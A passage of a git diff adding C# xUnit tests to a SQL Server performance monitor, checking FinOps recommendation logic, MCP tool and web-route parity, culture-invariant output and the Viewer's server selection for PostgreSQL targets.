+    private static int ServerId => FinOpsRecommendationsGoldenLiveTests.ServerIdA;
+
+    private static async Task<ScratchPostgres> SeedStoreAsync(string baseConnectionString, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await FinOpsRecommendationsGoldenLiveTests.SeedAsync(connection, ct);
+        return scratch;
+    }
+
+    /// <summary>One AG whose local replica has <paramref name="localRole"/>, holding <paramref name="databases"/>; snapshots taken <paramref name="age"/> ago.</summary>
+    private static async Task SeedAgAsync(string connectionString, string localRole, TimeSpan age, CancellationToken ct, params string[] databases)
+    {
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        var at = DateTime.SpecifyKind(DateTime.UtcNow - age, DateTimeKind.Unspecified);
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, is_local) VALUES ($1,$2,$3,$4,'AG1','NODE1',$5,TRUE)",
+            CollectionIdGenerator.Next(), at, ServerId, FinOpsRecommendationsGoldenLiveTests.ServerNameA, localRole);
+        foreach (var database in databases)
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local) VALUES ($1,$2,$3,$4,'AG1',$5,'NODE1',TRUE)",
+                CollectionIdGenerator.Next(), at, ServerId, FinOpsRecommendationsGoldenLiveTests.ServerNameA, database);
+    }
+
+    private static FinOpsRecommendation? Find(IEnumerable<FinOpsRecommendation> rows, string findingContains) =>
+        rows.FirstOrDefault(r => r.Finding.Contains(findingContains, StringComparison.Ordinal));
+
+    [Fact]
+    public async Task ASecondaryCopy_IsDroppedFromIdleDevTestTdeAndCompression_ButKeptInLowIoLatency()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), BaseSkip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedStoreAsync(baseConnectionString!, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var baseline = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(dataSource, ServerId, 1000m, TimeoutSeconds, cancellationToken: ct);
+        Assert.NotNull(Find(baseline, "idle database"));
+        Assert.Contains("2 possible dev/test", Find(baseline, "possible dev/test")!.Finding, StringComparison.Ordinal);
+        Assert.Contains("SalesA", Find(baseline, "TDE in use")!.Detail, StringComparison.Ordinal);
+        Assert.Contains("OrdersA", Find(baseline, "TDE in use")!.Detail, StringComparison.Ordinal);
+        Assert.NotNull(Find(baseline, "uncompressed object"));
+        Assert.Contains("OrdersA", Find(baseline, "low IO latency")!.Detail, StringComparison.Ordinal);
+
+        /* ArchiveA (idle), app_dev_a (dev/test) and SalesA (TDE and the 2 GB index) are secondary copies. Names are matched
+           exactly (#5558 round 2): the set and the stored names both come from sys.databases.name, so the casing is shared. */
+        var secondary = new HashSet<string>(StringComparer.Ordinal) { "ArchiveA", "app_dev_a", "SalesA" };
+        var rows = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(
+            dataSource, ServerId, 1000m, TimeoutSeconds, secondaryDatabases: secondary, cancellationToken: ct);
+
+        Assert.Null(Find(rows, "idle database"));
+        Assert.Contains("1 possible dev/test", Find(rows, "possible dev/test")!.Finding, StringComparison.Ordinal);
+        Assert.DoesNotContain("app_dev_a", Find(rows, "possible dev/test")!.Detail, StringComparison.Ordinal);
+        var tde = Find(rows, "TDE in use")!;
+        Assert.Contains("OrdersA", tde.Detail, StringComparison.Ordinal);
+        Assert.DoesNotContain("SalesA", tde.Detail, StringComparison.Ordinal);
+        Assert.Null(Find(rows, "uncompressed object"));
+        /* Low IO latency is unchanged, and so is every finding that is not about one database. */
+        Assert.Equal(Find(baseline, "low IO latency")!.Detail, Find(rows, "low IO latency")!.Detail);
+        static bool PerDatabase(FinOpsRecommendation r) =>
+            r.Finding.Contains("idle database", StringComparison.Ordinal) || r.Finding.Contains("possible dev/test", StringComparison.Ordinal)
+            || r.Finding.Contains("TDE in use", StringComparison.Ordinal) || r.Finding.Contains("uncompressed object", StringComparison.Ordinal);
+        Assert.Equal(
+            baseline.Where(r => !PerDatabase(r)).Select(r => (r.Finding, r.Detail)).ToArray(),
+            rows.Where(r => !PerDatabase(r)).Select(r => (r.Finding, r.Detail)).ToArray());
+    }
+
+    [Fact]
+    public async Task EveryTdeDatabaseASecondary_SaysNothingAboutTdeAndNeverClaimsNoEnterpriseFeatures()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), BaseSkip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedStoreAsync(baseConnectionString!, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var rows = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(
+            dataSource, ServerId, 1000m, TimeoutSeconds, secondaryDatabases: new[] { "SalesA", "OrdersA" }, cancellationToken: ct);
+
+        Assert.DoesNotContain(rows, r => r.Category == "Licensing");
+        Assert.NotNull(Find(rows, "low IO latency"));
+    }
+
+    [Fact]
+    public async Task NullOrEmptySet_ChangesNothing()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), BaseSkip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedStoreAsync(baseConnectionString!, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var baseline = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(dataSource, ServerId, 1000m, TimeoutSeconds, cancellationToken: ct);
+        var empty = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(
+            dataSource, ServerId, 1000m, TimeoutSeconds, secondaryDatabases: new HashSet<string>(), cancellationToken: ct);
+
+        Assert.Equal(baseline.Select(r => (r.Finding, r.Detail)).ToArray(), empty.Select(r => (r.Finding, r.Detail)).ToArray());
+    }
+
+    [Fact]
+    public async Task TheViewerAndTheMcpTool_ReadTheStoredSnapshots_AndFailOpenWhenTheyAreStaleOrTheNodeIsPrimary()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), BaseSkip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedStoreAsync(baseConnectionString!, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+        /* No snapshots: no note, and the MCP payload carries the field as null. */
+        var (plainRows, plainNote) = await viewer.GetRecommendationsWithNoteAsync(ServerId, 1000m, ct);
+        Assert.Null(plainNote);
+        var plainRead = await FinOpsAsync(dataSource, ct);
+        Assert.Equal(System.Text.Json.JsonValueKind.Null, plainRead.GetProperty("secondary_replica_note").ValueKind);
+
+        /* A stale secondary snapshot (a collector that stopped hours ago) vouches for nothing. */
+        await SeedAgAsync(scratch.ConnectionString, "SECONDARY", TimeSpan.FromHours(6), ct, "ArchiveA");
+        var (staleRows, staleNote) = await viewer.GetRecommendationsWithNoteAsync(ServerId, 1000m, ct);
+        Assert.Null(staleNote);
+        Assert.Equal(plainRows.Select(r => r.Finding).ToArray(), staleRows.Select(r => r.Finding).ToArray());
+
+        /* A fresh secondary snapshot of ArchiveA drops its idle finding on both surfaces and writes the note. */
+        await SeedAgAsync(scratch.ConnectionString, "SECONDARY", TimeSpan.FromMinutes(2), ct, "ArchiveA");
+        var (rows, note) = await viewer.GetRecommendationsWithNoteAsync(ServerId, 1000m, ct);
+        Assert.Equal(AgReplicaScope.SkippedNote(1), note);
+        Assert.DoesNotContain(rows, r => r.Finding.Contains("idle database", StringComparison.Ordinal));
+        Assert.Contains(plainRows, r => r.Finding.Contains("idle database", StringComparison.Ordinal));
+
+        var payload = await FinOpsAsync(dataSource, ct);
+        Assert.Equal(AgReplicaScope.SkippedNote(1), payload.GetProperty("secondary_replica_note").GetString());
+        Assert.DoesNotContain(payload.GetProperty("recommendations").EnumerateArray(),
+            r => r.GetProperty("finding").GetString()!.Contains("idle database", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task OnThePrimary_NothingIsSkipped_AndThereIsNoNote()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), BaseSkip);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedStoreAsync(baseConnectionString!, ct);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+        var (plainRows, _) = await viewer.GetRecommendationsWithNoteAsync(ServerId, 1000m, ct);
+        await SeedAgAsync(scratch.ConnectionString, "PRIMARY", TimeSpan.FromMinutes(2), ct, "ArchiveA", "app_dev_a", "SalesA");
+        var (rows, note) = await viewer.GetRecommendationsWithNoteAsync(ServerId, 1000m, ct);
+
+        Assert.Null(note);
+        Assert.Equal(plainRows.Select(r => (r.Finding, r.Detail)).ToArray(), rows.Select(r => (r.Finding, r.Detail)).ToArray());
+    }
+
+    private static async Task<JsonElement> FinOpsAsync(NpgsqlDataSource dataSource, CancellationToken ct)
+    {
+        var json = await DarlingMcpFinOpsRecommendationsTools.GetFinOpsRecommendations(
+            dataSource, FinOpsRecommendationsGoldenLiveTests.ServerNameA, ct);
+        return JsonDocument.Parse(json).RootElement.Clone();
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsRecommendationsToolParityLiveTests.cs b/Darling/Darling.Tests/FinOpsRecommendationsToolParityLiveTests.cs
new file mode 100644
index 0000000000..f201f5cff2
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsRecommendationsToolParityLiveTests.cs
@@ -0,0 +1,271 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Live parity for <c>get_finops_recommendations</c>: for each golden server the tool's rows equal the Storage
+/// composer's rows, mapped here to literal keys and read under the invariant culture; the web read route answers with
+/// the tool's own body; a failed check is named and its rows are absent; every body fits the response budget.
+/// </summary>
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsRecommendationsToolParityLiveTests
+{
+    private const int TimeoutSeconds = 30;
+    private const string NoCost = "monthly cost not set";
+
+    private static string? Cs => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await FinOpsRecommendationsGoldenLiveTests.SeedAsync(c, ct, DarlingMcpTestData.Naive(DateTime.UtcNow));
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET monthly_cost_usd = 1000 WHERE server_id = $1",
+            FinOpsRecommendationsGoldenLiveTests.ServerIdA);
+        return scratch;
+    }
+
+    private static readonly (string Name, int Id)[] Servers =
+    {
+        (FinOpsRecommendationsGoldenLiveTests.ServerNameA, FinOpsRecommendationsGoldenLiveTests.ServerIdA),
+        (FinOpsRecommendationsGoldenLiveTests.ServerNameB, FinOpsRecommendationsGoldenLiveTests.ServerIdB),
+        (FinOpsRecommendationsGoldenLiveTests.ServerNameC, FinOpsRecommendationsGoldenLiveTests.ServerIdC),
+    };
+
+    /// <summary>The expected rows, built from the composer's rows with literal keys; no tool helper is used.</summary>
+    private static async Task<List<JsonElement>> ExpectedRowsAsync(NpgsqlDataSource postgres, int serverId, CancellationToken ct, Func<FinOpsRecommendation, bool>? keep = null)
+    {
+        var saved = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+            var monthly = await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(postgres, serverId, TimeoutSeconds, ct);
+            var rows = await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(postgres, serverId, monthly, TimeoutSeconds, cancellationToken: ct);
+            return rows.Where(r => keep == null || keep(r)).Select(r => JsonSerializer.SerializeToElement(new Dictionary<string, object?>
+            {
+                ["category"] = r.Category,
+                ["severity"] = r.Severity,
+                ["confidence"] = r.Confidence,
+                ["finding"] = r.Finding,
+                ["detail"] = r.Detail,
+                ["est_savings_usd_month"] = r.EstMonthlySavings is decimal s ? Math.Round(s, 2, MidpointRounding.AwayFromZero) : (decimal?)null,
+            })).ToList();
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = saved;
+        }
+    }
+
+    private static async Task<(int Status, string Body)> GetAsync(NpgsqlDataSource postgres, string pathAndQuery, CancellationToken ct)
+    {
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(postgres);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, postgres, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var path = pathAndQuery.Split('?', 2);
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = path[0];
+            request.Request.QueryString = new QueryString("?" + path[1]);
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        return (context.Response.StatusCode, await reader.ReadToEndAsync(ct));
+    }
+
+    private static Task<string> ToolAsync(NpgsqlDataSource postgres, string server, CancellationToken ct) =>
+        DarlingMcpFinOpsRecommendationsTools.GetFinOpsRecommendations(postgres, server, ct);
+
+    [Fact]
+    public async Task Tool_EqualsTheComposer_ForEachServer()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_recommendations test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        foreach (var (name, id) in Servers)
+        {
+            var expected = await ExpectedRowsAsync(postgres, id, ct);
+            using var doc = JsonDocument.Parse(await ToolAsync(postgres, name, ct));
+            var root = doc.RootElement;
+            var actual = root.GetProperty("recommendations");
+            Assert.Equal(expected.Count, actual.GetArrayLength());
+            for (var i = 0; i < expected.Count; i++)
+                Assert.True(JsonElement.DeepEquals(expected[i], actual[i]), $"{name} row {i}: {actual[i].GetRawText()}");
+            Assert.Equal(actual.GetArrayLength(), root.GetProperty("recommendation_count").GetInt32());
+            Assert.Equal(0, root.GetProperty("skipped_checks").GetArrayLength());
+            Assert.Equal(name, root.GetProperty("server").GetString());
+            if (id == FinOpsRecommendationsGoldenLiveTests.ServerIdA)
+            {
+                Assert.NotEmpty(expected);
+                Assert.Equal(1000m, root.GetProperty("monthly_cost_usd").GetDecimal());
+                Assert.Equal(JsonValueKind.Null, root.GetProperty("cost_reason").ValueKind);
+            }
+            else
+            {
+                Assert.Equal(JsonValueKind.Null, root.GetProperty("monthly_cost_usd").ValueKind);
+                Assert.Equal(NoCost, root.GetProperty("cost_reason").GetString());
+            }
+        }
+    }
+
+    [Fact]
+    public async Task Tool_AnswersInvariantText_UnderAnotherCulture()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_recommendations test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var name = FinOpsRecommendationsGoldenLiveTests.ServerNameA;
+        var expected = await ExpectedRowsAsync(postgres, FinOpsRecommendationsGoldenLiveTests.ServerIdA, ct);
+
+        var saved = CultureInfo.CurrentCulture;
+        string body;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("de-DE");
+            body = await ToolAsync(postgres, name, ct);
+            Assert.Equal("de-DE", CultureInfo.CurrentCulture.Name);
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = saved;
+        }
+
+        using var doc = JsonDocument.Parse(body);
+        var actual = doc.RootElement.GetProperty("recommendations");
+        Assert.Equal(expected.Count, actual.GetArrayLength());
+        for (var i = 0; i < expected.Count; i++)
+            Assert.True(JsonElement.DeepEquals(expected[i], actual[i]), actual[i].GetRawText());
+        /* Under de-DE the grouped number would read "13.080 MB". */
+        Assert.Contains(actual.EnumerateArray(), r => r.GetProperty("detail").GetString()!.Contains("13,080 MB", StringComparison.Ordinal));
+        Assert.DoesNotContain("13.080", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task WebRead_ReturnsTheToolBody()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_recommendations test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var name = FinOpsRecommendationsGoldenLiveTests.ServerNameA;
+
+        var tool = await ToolAsync(postgres, name, ct);
+        var (status, body) = await GetAsync(postgres, "/api/read/get_finops_recommendations?server=" + Uri.EscapeDataString(name), ct);
+        Assert.Equal(200, status);
+        using var toolDoc = JsonDocument.Parse(tool);
+        using var webDoc = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(toolDoc.RootElement, webDoc.RootElement), body);
+        Assert.True(webDoc.RootElement.GetProperty("recommendation_count").GetInt32() > 0);
+    }
+
+    [Fact]
+    public async Task UnknownServer_ReturnsTheResolverError()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_recommendations test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var (_, resolverError) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, "NoSuchServerZ", ct);
+        Assert.NotNull(resolverError);
+        var tool = await ToolAsync(postgres, "NoSuchServerZ", ct);
+        Assert.Equal(resolverError, tool);
+
+        var (status, body) = await GetAsync(postgres, "/api/read/get_finops_recommendations?server=NoSuchServerZ", ct);
+        Assert.Equal(tool, body);
+        /* The read route answers a resolver refusal with 400. */
+        Assert.Equal(400, status);
+    }
+
+    [Fact]
+    public async Task AFailedCheck_IsNamed_AndItsRowsAreAbsent()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_recommendations test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var name = FinOpsRecommendationsGoldenLiveTests.ServerNameA;
+        var whole = await ExpectedRowsAsync(postgres, FinOpsRecommendationsGoldenLiveTests.ServerIdA, ct);
+        var without = await ExpectedRowsAsync(postgres, FinOpsRecommendationsGoldenLiveTests.ServerIdA, ct, r => r.Category != "Maintenance");
+        Assert.True(whole.Count > without.Count);
+
+        /* The maintenance read selects from the v_running_jobs view; dropping it on this scratch store breaks that one read. */
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await using var drop = new NpgsqlCommand("DROP VIEW v_running_jobs CASCADE", connection);
+            await drop.ExecuteNonQueryAsync(ct);
+        }
+
+        using var doc = JsonDocument.Parse(await ToolAsync(postgres, name, ct));
+        var root = doc.RootElement;
+        Assert.Equal(new[] { "Maintenance window" }, root.GetProperty("skipped_checks").EnumerateArray().Select(s => s.GetString()).ToArray());
+        var actual = root.GetProperty("recommendations");
+        Assert.Equal(without.Count, actual.GetArrayLength());
+        Assert.Equal(without.Count, root.GetProperty("recommendation_count").GetInt32());
+        for (var i = 0; i < without.Count; i++)
+            Assert.True(JsonElement.DeepEquals(without[i], actual[i]), actual[i].GetRawText());
+        Assert.DoesNotContain(actual.EnumerateArray(), r => r.GetProperty("category").GetString() == "Maintenance");
+    }
+
+    [Fact]
+    public async Task TheBody_FitsTheResponseBudget()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_recommendations test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        foreach (var (name, _) in Servers)
+        {
+            var bytes = Encoding.UTF8.GetByteCount(await ToolAsync(postgres, name, ct));
+            TestContext.Current.SendDiagnosticMessage($"get_finops_recommendations body for {name}: {bytes} bytes (budget {McpResponseBudget.DefaultBytes})");
+            Assert.True(bytes <= McpResponseBudget.DefaultBytes, $"{name}: {bytes} bytes over the {McpResponseBudget.DefaultBytes} budget");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsServerChoiceTests.cs b/Darling/Darling.Tests/FinOpsServerChoiceTests.cs
new file mode 100644
index 0000000000..f77f320c37
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsServerChoiceTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Viewer's FinOps tab follows the web FinOps page on PostgreSQL targets: it starts on a SQL Server target, names a
+/// PostgreSQL target in its picker, says "Not collected for PostgreSQL" instead of running a SQL Server-only read for it,
+/// and Server Inventory has a "Show removed servers" checkbox that is off by default. The choice is a pure helper
+/// (<see cref="FinOpsServerChoice"/>); the wiring into the window is pinned against the source, since no window runs here.
+/// </summary>
+public sealed class FinOpsServerChoiceTests
+{
+    private static DarlingServer Sql(int id, string name = "") =>
+        new(id, string.IsNullOrEmpty(name) ? $"sql-{id}" : name, string.IsNullOrEmpty(name) ? $"sql-{id}" : name, true, 16);
+
+    private static DarlingServer Pg(int id) =>
+        new(id, $"pg-{id}", $"pg-{id}", true, null, engineKind: "postgres");
+
+    // ── Selection ──
+
+    [Fact]
+    public void Selection_SidebarPostgres_StartsOnTheFirstSqlServerTarget()
+    {
+        var servers = new List<DarlingServer> { Pg(1), Pg(2), Sql(3), Sql(4) };
+
+        Assert.Equal(3, FinOpsServerChoice.Selection(servers, previousServerId: null, sidebarServerId: 2)!.ServerId);
+    }
+
+    [Fact]
+    public void Selection_SidebarSqlServer_IsKept()
+    {
+        var servers = new List<DarlingServer> { Pg(1), Sql(2), Sql(3) };
+
+        Assert.Equal(3, FinOpsServerChoice.Selection(servers, previousServerId: null, sidebarServerId: 3)!.ServerId);
+    }
+
+    [Fact]
+    public void Selection_NoSidebarServer_IsTheFirstSqlServerTarget()
+    {
+        var servers = new List<DarlingServer> { Pg(1), Sql(2) };
+
+        Assert.Equal(2, FinOpsServerChoice.Selection(servers, null, null)!.ServerId);
+    }
+
+    [Fact]
+    public void Selection_ARebuildKeepsThePreviousServer_EvenAPostgresTheUserPicked()
+    {
+        var servers = new List<DarlingServer> { Sql(1), Pg(2) };
+
+        Assert.Equal(2, FinOpsServerChoice.Selection(servers, previousServerId: 2, sidebarServerId: 1)!.ServerId);
+    }
+
+    [Fact]
+    public void Selection_APreviousServerThatIsGone_FallsToTheSidebarThenTheFirstSqlServerTarget()
+    {
+        var servers = new List<DarlingServer> { Pg(1), Sql(2), Sql(3) };
+
+        Assert.Equal(3, FinOpsServerChoice.Selection(servers, previousServerId: 99, sidebarServerId: 3)!.ServerId);
+        Assert.Equal(2, FinOpsServerChoice.Selection(servers, previousServerId: 99, sidebarServerId: 1)!.ServerId);
+    }
+
+    [Fact]
+    public void Selection_OnlyPostgresTargets_TakesTheSidebarServerThenTheFirst()
+    {
+        var servers = new List<DarlingServer> { Pg(1), Pg(2) };
+
+        Assert.Equal(2, FinOpsServerChoice.Selection(servers, null, sidebarServerId: 2)!.ServerId);
+        Assert.Equal(1, FinOpsServerChoice.Selection(servers, null, sidebarServerId: null)!.ServerId);
+    }
+
+    [Fact]
+    public void Selection_EmptyList_IsNull() =>
+        Assert.Null(FinOpsServerChoice.Selection(new List<DarlingServer>(), 1, 1));
+
+    // ── Label ──
+
+    [Fact]
+    public void Label_NamesAPostgresTarget_AndLeavesASqlServerTargetAlone()
+    {
+        Assert.Equal("pg-5 (PostgreSQL)", FinOpsServerChoice.Label(Pg(5)));
+        Assert.Equal("example-sql-01", FinOpsServerChoice.Label(Sql(1, "example-sql-01")));
+    }
+
+    // ── The gate ──
+
+    [Fact]
+    public void NotCollectedLine_PostgresTarget_SaysOneShortLineForEverySingleServerPanel()
+    {
+        Assert.Equal("Not collected for PostgreSQL", FinOpsServerChoice.NotCollectedLine(Pg(1), crossServer: false));
+    }
+
+    [Fact]
+    public void NotCollectedLine_SqlServerTarget_RunsItsReads()
+    {
+        Assert.Null(FinOpsServerChoice.NotCollectedLine(Sql(1), crossServer: false));
+    }
+
+    [Fact]
+    public void NotCollectedLine_ServerInventory_RunsForAPostgresSelection()
+    {
+        Assert.Null(FinOpsServerChoice.NotCollectedLine(Pg(1), crossServer: true));
+    }
+
+    [Fact]
+    public void NotCollectedLine_NoServer_ShowsNothing()
+    {
+        Assert.Null(FinOpsServerChoice.NotCollectedLine(null, crossServer: false));
+    }
+
+    // ── Show removed servers ──
+
+    [Theory]
+    [InlineData(true, true)]
+    [InlineData(false, false)]
+    [InlineData(null, false)]
+    public void IncludeRemoved_IsOnlyTheCheckedState(bool? isChecked, bool expected) =>
+        Assert.Equal(expected, FinOpsServerChoice.IncludeRemoved(isChecked));
+
+    [Theory]
+    [InlineData(0, false, "")]
+    [InlineData(0, true, "")]
+    [InlineData(3, false, "3 server(s)")]
+    [InlineData(3, true, "3 server(s) (removed servers included)")]
+    public void InventoryCountText_NamesRemovedServers_LikeTheWebPage(int count, bool removed, string expected) =>
+        Assert.Equal(expected, FinOpsServerChoice.InventoryCountText(count, removed));
+
+    /// <summary>Round-2 L4: tick then untick fast. The untick's read ends first; the tick's slow read ends last and must be dropped.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task ASlowerEarlierLoad_ThatFinishesLast_IsDropped()
+    {
+        var sequence = new FinOpsLoadSequence();
+        var applied = new List<string>();
+        var slowRead = new System.Threading.Tasks.TaskCompletionSource();
+        var fastRead = new System.Threading.Tasks.TaskCompletionSource();
+
+        async System.Threading.Tasks.Task Load(string label, System.Threading.Tasks.TaskCompletionSource read)
+        {
+            var token = sequence.Begin();
+            await read.Task;
+            if (!sequence.IsCurrent(token)) return;
+            applied.Add(label);
+        }
+
+        var ticked = Load("removed included", slowRead);
+        var unticked = Load("removed left out", fastRead);
+        fastRead.SetResult();
+        await unticked;
+        slowRead.SetResult();
+        await ticked;
+
+        Assert.Equal(["removed left out"], applied);
+    }
+
+    [Fact]
+    public void OnlyTheLoadThatBeganLast_IsCurrent()
+    {
+        var sequence = new FinOpsLoadSequence();
+        var first = sequence.Begin();
+        Assert.True(sequence.IsCurrent(first));
+        var second = sequence.Begin();
+        Assert.False(sequence.IsCurrent(first));
+        Assert.True(sequence.IsCurrent(second));
+    }
+
+    [Fact]
+    public void TheInventoryLoader_UsesTheSequenceAndTheCountHelper()
+    {
+        var loaders = ViewerFile("FinOpsTab.Loaders.cs");
+        var load = loaders[loaders.IndexOf("private async Task LoadFinOpsServerInventoryAsync()", StringComparison.Ordinal)..];
+        load = load[..load.IndexOf("// ── Refresh buttons", StringComparison.Ordinal)];
+        Assert.Contains("_finopsInventoryLoads.Begin()", load, StringComparison.Ordinal);
+        Assert.True(load.IndexOf("IsCurrent(token)", StringComparison.Ordinal) > load.IndexOf("GetServerMetricsAsync()", StringComparison.Ordinal),
+            "the staleness check runs after the last await");
+        Assert.True(load.IndexOf("IsCurrent(token)", StringComparison.Ordinal) < load.IndexOf("UpdateData(servers)", StringComparison.Ordinal),
+            "a superseded load must not reach the grid");
+        Assert.Contains("FinOpsServerChoice.InventoryCountText(servers.Count, includeRemoved)", load, StringComparison.Ordinal);
+    }
+
+    // ── Wiring, pinned against the source ──
+
+    private static string ViewerFile(string name, [CallerFilePath] string thisFile = "") =>
